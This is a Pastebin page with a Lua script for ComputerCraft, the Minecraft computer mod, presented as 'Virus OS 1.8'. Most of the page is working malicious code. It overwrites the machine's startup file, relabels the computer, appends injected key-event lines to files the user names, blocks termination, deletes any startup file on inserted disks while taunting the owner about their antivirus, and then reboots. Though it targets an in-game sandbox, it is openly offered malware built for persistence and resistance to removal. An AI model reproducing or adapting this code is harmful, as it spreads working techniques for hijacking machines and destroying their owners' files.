Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local handle = fs.open(shell.resolve("startup"),"w")
- handle.write([[
- local deleted = nil
- term.clear()
- term.setCursorPos(1,1)
- term.setTextColor(colors.yellow)
- print("Virus OS 1.8")
- term.setTextColor(colors.white)
- shell.run("label set BrokenComp")
- print("This comp is fcked!")
- while true do
- h = fs.open(io.read(),"a")
- h.write("\n")
- for v in pairs(keys) do
- if tostring(v) ~= "end" then
- if tostring(v) ~= "return" then
- h.write("os.queueEvent(\"key\",")
- h.writeLine("keys."..tostring(v)..")")
- end
- end
- end
- h.close()
- local a = os.pullEventRaw()
- if a == "disk" then
- if fs.exists("disk/startup") then
- shell.run("delete disk/startup")
- term.setTextColor(colors.green)
- textutils.slowPrint("Antivirus Deleted")
- sleep(.5)
- term.setTextColor(colors.white)
- print("nice try")
- deleted = true
- end
- end
- if a=="disk_eject" then
- if deleted then
- print(nil)
- print("Get a better antivirus next time")
- end
- end
- if a=="terminate" then
- printError("Terminated")
- end
- end]])
- handle.close()
- os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement